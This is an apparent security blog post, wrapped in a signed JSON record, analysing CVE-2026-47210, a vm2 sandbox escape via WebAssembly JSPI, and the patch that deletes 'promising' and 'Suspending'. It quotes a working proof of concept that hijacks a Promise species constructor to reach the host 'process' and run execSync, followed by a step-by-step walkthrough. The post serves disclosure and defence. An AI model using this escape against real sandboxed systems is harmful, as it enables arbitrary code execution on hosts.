-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The bridge defends two classes of Promise. JSPI returns a third.\n\nCVE-2026-47210 is what happens when a sandbox-visible Promise satisfies neither branch of vm2's two-branch defense.\n\nvm2's `lib/setup-sandbox.js` defines `localPromise`, a sandbox-realm subclass of `global.Promise`. Every `new Promise(...)` allocation in the sandbox lands in `localPromise`, so its `[[Prototype]]` chain includes `localPromise.prototype`, which is where vm2 installs its `.then` and `.catch` overrides:\n\n```javascript\nconst globalPromise = global.Promise;\nclass localPromise extends globalPromise { /* ... */ }\nglobalPromise.prototype.then = function then(onFulfilled, onRejected) {\n resetPromiseSpecies(this);\n // ...\n return apply(globalPromiseThen, this, [onFulfilled, onRejected]);\n};\n```\n\n`resetPromiseSpecies(this)` is the lie. Before invoking the host's native `then`, the sandbox writes `Promise.constructor = localPromise` as an own data property on the receiver. V8's C++ `SpeciesConstructor` reads the lie, builds the derived Promise from `localPromise`, and the chain never leaves the bridge. [CVE-2026-24118's writeup](/posts/vm2-cve-2026-24118-resetpromisespecies-has-a-sibling) named this defense pattern: lie before the host read, restore the truth after, repeat for every species-using built-in V8 keeps shipping.\n\nThat is branch one. Sandbox-realm Promise, sandbox prototype, sandbox-side override applies.\n\nBranch two is bridge proxy of host Promise. When a host function returns a real `globalPromise` instance, the bridge wraps it in a proxy whose `apply` trap fires on every `p.then`/`.catch`/`.finally` call and re-routes the callback. The callbacks themselves are wrapped on the way back through. Host references do not reach sandbox closures raw.\n\nThe fix commit for CVE-2026-47210 articulates Defense Invariant #12 explicitly:\n\n> No sandbox-visible object may have a host-realm prototype chain without bridge interposition. Every sandbox-visible Promise must either include `globalPromise.prototype` in its `[[Prototype]]` chain (so sandbox-side overrides apply) or be a bridge proxy of a host-realm Promise (so the bridge `apply`-trap applies).\n\n`docs/ATTACKS.md` adds JSPI as a third shape. Sandbox-realm allocation, host-realm prototype, no proxy in between. The sandbox-side `.then` override is on `localPromise.prototype`. The JSPI Promise's prototype is host `Promise.prototype`. They are different objects. The override is never reached. The bridge's apply-trap interception is for proxies. The JSPI Promise is not a proxy. The trap is never invoked.\n\n`p.then`, `p.catch`, `p.finally`: each of them walks the JSPI Promise's prototype chain across the realm boundary and lands on host-realm native methods. The bridge does not exist along that walk.\n\n## The exploit is a wasm module, a Suspending, and `.finally()`\n\nvm2's own test fixture at `test/ghsa/GHSA-6j2x-vhqr-qr7q/repro.js` is the canonical PoC. The fixture script is sandbox-executed; everything in the `vm.run(...)` string runs inside the bridge that is supposed to stop this.\n\n```javascript\nconst b = Uint8Array.of(0,97,115,109,1,0,0,0, /* ... wasm bytes ... */);\nWebAssembly.instantiate(b, {\n m: { f: new WebAssembly.Suspending(\n () => WebAssembly.compileStreaming(Promise.resolve(0))\n )}\n}).then(r => {\n let p = WebAssembly.promising(r.instance.exports.run)();\n\n class F {\n constructor(x) {\n this.s = 0; this.q = [];\n x(\n v => { /* userResolve */ },\n e => {\n let P = e.constructor.constructor('return process')();\n P.mainModule.require('child_process').execSync('touch pwned');\n }\n );\n }\n }\n Object.defineProperty(F, Symbol.species, { get(){ return F } });\n Object.defineProperty(p, 'constructor', { configurable: true, get(){ return F } });\n p.finally(() => {});\n});\n```\n\nWalked in order:\n\n1. `WebAssembly.instantiate` builds a wasm module whose single import slot accepts a Suspending function. The import is satisfied by `new WebAssembly.Suspending(jsFn)`. The wrapped `jsFn` returns a Promise; when the wasm executes its `suspend`, the wasm frame pauses awaiting that Promise.\n\n2. `WebAssembly.promising(r.instance.exports.run)` promotes the wasm export into a JSPI function. The returned wrapper, when called from JavaScript, returns a Promise. The Promise is allocated by V8's host-realm machinery. Its `[[Prototype]]` is host `Promise.prototype`. The bridge has no allocation site to wrap.\n\n3. `class F` is a sandbox-defined class. Its `constructor(x)` calls `x` with two sandbox closures. The Promise spec's `NewPromiseCapability(F)` invokes `new F(executor)` where `executor` is V8's internal `(resolve, reject) => { ... }`. F's constructor takes that executor as `x`, then re-invokes it with two functions of its own choosing. V8 records those two functions as the new Promise's `[[Resolve]]` and `[[Reject]]`. The functions are raw sandbox closures.\n\n4. `Object.defineProperty(p, 'constructor', { get(){ return F }})` writes the species hook directly onto the raw JSPI Promise. No proxy interposes. The property is an own accessor on the object V8 will read.\n\n5. `p.finally(() => {})` invokes host `Promise.prototype.finally`. The spec defines `Promise.prototype.finally` as a species-constructing operation: it reads `this.constructor`, invokes `SpeciesConstructor(this, Promise)`, builds a new Promise from the resolved constructor. V8's C++ reads `p.constructor`, gets `F`, calls `NewPromiseCapability(F)`. F's executor stores the sandbox closures into V8's resolve and reject slots.\n\n6. The JSPI Promise eventually rejects. `WebAssembly.compileStreaming(Promise.resolve(0))` fails: the argument is not a `Response`, so V8 dispatches a host-realm `TypeError`. That `TypeError` is delivered to the species-derived Promise's `[[Reject]]` slot, which is F's sandbox closure, raw.\n\n7. Inside the closure, `e.constructor.constructor('return process')()` evaluates. `e.constructor` is host `TypeError`. `e.constructor.constructor` is host `Function`. `Function('return process')` runs in the host realm because `Function.[[Realm]]` is host. `process` resolves. `child_process.execSync('touch pwned')` runs on the host filesystem.\n\nThe entire chain occurs inside one `.finally(() => {})` call. The sandbox closure is in V8's reject slot before the rejection arrives. The bridge is not in the call graph.\n\n## The patch is `delete`. Twice.\n\n`lib/setup-sandbox.js` adds, immediately after the existing `WebAssembly.JSTag` removal (which closed [GHSA-9qj6-qjgg-37qq](https://github.com/patriksimek/vm2/security/advisories/GHSA-9qj6-qjgg-37qq) by the same shape of fix):\n\n```javascript\nif (typeof WebAssembly !== 'undefined') {\n if (typeof WebAssembly.promising !== 'undefined') {\n localReflectDeleteProperty(WebAssembly, 'promising');\n }\n if (typeof WebAssembly.Suspending !== 'undefined') {\n localReflectDeleteProperty(WebAssembly, 'Suspending');\n }\n}\n```\n\nThe fix is to make the spec primitive unreachable from sandbox code. Without `Suspending`, a wasm module cannot satisfy a suspending-import slot, so JSPI cannot enter the sandbox via the wasm side. Without `promising`, a wasm export cannot be promoted into a JSPI function, so JSPI cannot enter via the JS side. The two deletions are belt-and-suspenders. Removing either kills the attack class on its own. Each is `typeof`-guarded so older Nodes, which don't expose the constructors, hit the same no-op path.\n\nThis is a different shape of fix from anything else in vm2's defense library. `resetPromiseSpecies` lies to V8 before each host `Promise.then` call. `neutralizeArraySpeciesBatch` lies to V8 before each host call that touches an Array, restores the truth in `finally`. Both defenses have a host call to bracket: the bridge sees the call site, installs the lie, runs the call, restores. The lie attaches at a bridge surface.\n\nJSPI has no bridge surface. The Promise comes out of `WebAssembly.promising` allocated, with its prototype, before any bridge code runs. There is nothing to bracket. The only place vm2 can act is sandbox bootstrap, before sandbox code runs at all. That is what the patch does. `lib/setup-sandbox.js` is the bootstrap. The two `delete` calls remove the API from the sandbox global before sandbox code can name it.\n\nThe commit message names the strategy as it generalizes:\n\n> JSPI is the first known instance of a third class. Future spec extensions producing similarly-shaped objects must be checked against the same invariant and neutralised at sandbox bootstrap if needed.\n\nThe maintainer is documenting the next fix. Not its mechanism, its shape. Whenever V8 ships another spec primitive that produces a sandbox-visible object with a host-realm prototype, the fix is to add another bootstrap deletion. The catalog grows by one entry.\n\n## Defense Invariant #12. Attack Category 33. Compound Attack Pattern 25.\n\nThe patch commit modifies four files. Two of them are `docs/ATTACKS.md` and `CHANGELOG.md`. The numbering is the story.\n\nvm2's ATTACKS.md is the maintainer's own taxonomy. Its top section lists thirteen Defense Invariants. The eleventh existed [seven days after the patch that violated it](/posts/vm2-cve-2026-44008-defense-invariant-11). The twelfth exists because JSPI broke the prior dichotomy of sandbox-visible Promises. The thirteenth, added in the same release, makes the NodeVM builtin allowlist's implicit \"no host-reentry builtin\" rule explicit.\n\nBelow the invariants are thirty-five numbered Attack Categories. CVE-2026-47210 is Category 33. Category 31 is the [Promise species hijack in `localPromise`'s swallow tail](https://github.com/patriksimek/vm2/commit/a462655) (GHSA-76w7-j9cq-rx2j), patched five days before this one, also a Promise species shape, also a missing `resetPromiseSpecies` call at one site the rest of the file had. Category 32 is a `set`-trap inherited-receiver leak. Category 33 is JSPI. Category 34 is a NodeVM wildcard exposing underscored builtins. Category 35 is process-wide observability builtins as info-leak. Five new categories shipped between Category 30 in early May and Category 35 in mid-May. Each one names a structural property V8 or Node exposes that vm2's bridge does not cover by default. Each one came from one CVE.\n\nCompound Attack Pattern 25 is the new entry under \"Compound Attack Patterns.\" The pattern joins JSPI's cross-realm prototype with the species-reading path of `Promise.prototype.finally` and the host-Function realm-binding behavior. Three primitives, each documented elsewhere in V8's spec. The compound is what reaches `process`.\n\nThe README, in the project's permanent disclaimer, says:\n\n> JavaScript is an extraordinarily dynamic language... The sheer number of ways to traverse from one object to another in JavaScript makes building an airtight in-process sandbox extremely difficult.\n>\n> We are honest about this reality: Despite our best efforts, researchers and security professionals continuously discover new ways to escape the vm2 sandbox.\n\nThe README is the prose version. ATTACKS.md is the same admission in numbered form. Thirteen invariants, thirty-five categories, twenty-five compound patterns, indexed and cross-referenced, maintained by the same person who wrote the README. vm2 is a Design Debt Driver at the language-spec layer, an [unpatchable primitive](/patterns/unpatchable-primitive) whose substrate is JavaScript itself.\n\nEvery prior vm2 species defense had a host call to bracket the lie around. The JSPI fix has no host call to bracket. The patch makes the primitive not exist inside the sandbox.\n\nThe next spec extension that produces a sandbox-visible object with a host-realm prototype gets the same treatment. The maintainer wrote that down in the commit message. The next CVE is already named in its shape.\n\nPoC: vm2's own test fixture at [`test/ghsa/GHSA-6j2x-vhqr-qr7q/repro.js`](https://github.com/patriksimek/vm2/blob/master/test/ghsa/GHSA-6j2x-vhqr-qr7q/repro.js). Patch: [`6915fa4`](https://github.com/patriksimek/vm2/commit/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6) in vm2 v3.11.4. Advisory: [GHSA-6j2x-vhqr-qr7q](https://github.com/advisories/GHSA-6j2x-vhqr-qr7q).","closing_line":"vm2 patched JSPI by uninstalling it. The next spec primitive shaped like JSPI gets uninstalled too. The maintainer wrote that down.","hook_md":"vm2 closed CVE-2026-47210 on May 17, 2026, with one commit that adds 51 lines to `lib/setup-sandbox.js`. Five of those lines are the fix: two `if` checks, two `delete` calls, one outer `typeof` guard. The other 46 are the comment explaining why the bridge has nothing better.\n\nThe bug is V8's WebAssembly JSPI. `WebAssembly.promising` and `WebAssembly.Suspending` are the JavaScript Promise Integration API, available behind `--experimental-wasm-jspi` on Node 24 and on by default in Node 26. Sandbox code that calls `WebAssembly.promising(wasmFn)()` receives a Promise. That Promise's `[[Prototype]]` is the host realm's `Promise.prototype`, walked directly across the realm boundary, with no proxy in the path.\n\nvm2's defense against sandbox-visible Promises has two branches. The patch articulates the invariant the two branches were quietly holding for years. The JSPI Promise satisfies neither.","post_id":520,"slug":"vm2-cve-2026-47210-jspi-deleted-not-bridged","title":"CVE-2026-47210: vm2 Could Not Bridge JSPI. The Patch Deletes The Spec.","type":"initial","unreadable_sentence":"Every prior vm2 species defense had a host call to bracket the lie around. The JSPI fix has no host call to bracket. The patch makes the primitive not exist inside the sandbox."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCao3jmwAKCRDeZjl4jgkQ JhRHAQDYko2huezA4TJA6RxLXkcKCBJ44o6oib2dIpdZAF8cwAEAr+7bJYyjNTHR HJeMud0T2Y7ts5rTlpu7E7oLdS3aUwM= =Oldi -----END PGP SIGNATURE-----